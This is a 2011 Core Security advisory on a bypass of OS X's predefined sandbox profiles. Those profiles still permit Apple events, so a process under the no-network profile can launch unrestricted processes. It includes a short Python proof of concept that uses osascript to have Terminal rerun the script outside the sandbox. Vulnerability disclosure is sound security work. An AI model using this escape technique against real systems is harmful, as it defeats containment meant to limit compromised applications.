Title: Apple OS X Sandbox Predefined Profiles Bypass
Advisory ID: CORE-2011-0919
Advisory URL: http://www.coresecurity.com/content/apple-osx-sandbox-bypass
Date published: 2011-11-10
Date of last update: 2011-11-10
Vendors contacted: Apple
Release mode: User release
Several of the default pre-defined sandbox profiles don't properly limit all the available mechanisms and therefore allow exercising part of the restricted functionality. Namely, sending Apple events is possible within the no-network sandbox (kSBXProfileNoNetwork). A compromised application hypothetically restricted by the use of the no-network profile may have access to network resources through the use of Apple events to invoke the execution of other applications not directly restricted by the sandbox.
It is worth mentioning that a similar issue was reported by Charlie Miller in his talk at Black Hat Japan 2008 . He mentioned a few processes sandboxed by default as well as a method to circumvent the protection. Sometime after the talk, Apple modified the mentioned profiles by restricting the use of Apple events but did not modify the generic profiles.
Contact the vendor for more information.
The use of Apple events is possible within the several default profiles as no-network, no-internet (kSBXProfileNoNetwork, kSBXProfileNoInternet) and others. A compromised application hypothetically restricted by the use of the no-network profile may have access to network resources through the use of Apple events to invoke the execution of other applications not directly restricted by the sandbox.
As Apple's "App Sandbox Design Guide" document points out, applications that require sending Apple events to other arbitrary applications are not suitable for sandboxing, because some developer tools restrict Apple events by default while defining the sandbox. The reason for this is that, as we show here, by dispatching Apple events a process can escape the sandbox .
The method used by Charlie Miller involves dropping a script to the disk and getting it executed by launchd via launchctl. Our approach is technically the same without the need to drop a file. In our PoC we used "osascript" to send the required Apple events to launchd in order to execute the new process. As the new process is not a 'child' of the sandboxed process, it is created without the sandbox restrictions.
An additional risk with these profiles is that they are supposed to provide an example of how a process should be restricted in different scenarios. If the no-network profile allows Apple-script events, this may result in new applications using the same restriction rules, therefore offering a false sense of security.
The following PoC illustrates this vulnerability:
import os import sys import socket if len(sys.argv) != 2: print "[-] Usage: sandbox-exec -n no-network python %s hostname" % sys.argv try: targetIP = sys.argv s = socket.socket() s.connect((targetIP, 80)) s.send('GET /\r\n\r\n') print(s.recv(1024)) print "\n\n\n[+] Sandbox escaped" except Exception, e: if "Operation not permitted" in str(e): #print repr(e) print "[-] Blocked by seatbelt" print "[ ] Escaping..." os.system("""/usr/bin/osascript -e 'tell application "Terminal" to do script "python %s %s"'""" % (sys.argv, targetIP))
 App Sandbox Design Guide -- Designing for App Sandbox
 Charlie Miller, "Hacking OS X", Black Hat Japan 2008
CoreLabs, the research center of Core Security Technologies, is charged with anticipating the future needs and requirements for information security technologies. We conduct our research in several important areas of computer security including system vulnerabilities, cyber attack planning and simulation, source code auditing, and cryptography. Our results include problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies. CoreLabs regularly publishes security advisories, technical papers, project information and shared software tools for public use at: <http://corelabs.coresecurity.com>.
Core Security Technologies enables organizations to get ahead of threats with security test and measurement solutions that continuously identify and demonstrate real-world exposures to their most critical assets. Our customers can gain real visibility into their security standing, real validation of their security controls, and real metrics to more effectively secure their organizations.
Core Security's software solutions build on over a decade of trusted research and leading-edge threat expertise from the company's Security Consulting Services, CoreLabs and Engineering groups. Core Security Technologies can be reached at +1 (617) 399-6980 or on the Web at: <http://www.coresecurity.com>.
The contents of this advisory are copyright (c) 2011 Core Security Technologies and (c) 2011 CoreLabs, and are licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 (United States) License: <http://creativecommons.org/licenses/by-nc-sa/3.0/us/>
This advisory has been signed with the GPG key of Core Security Technologies advisories team, which is available for download at /legacy/files/attachments/core_security_advisories.asc.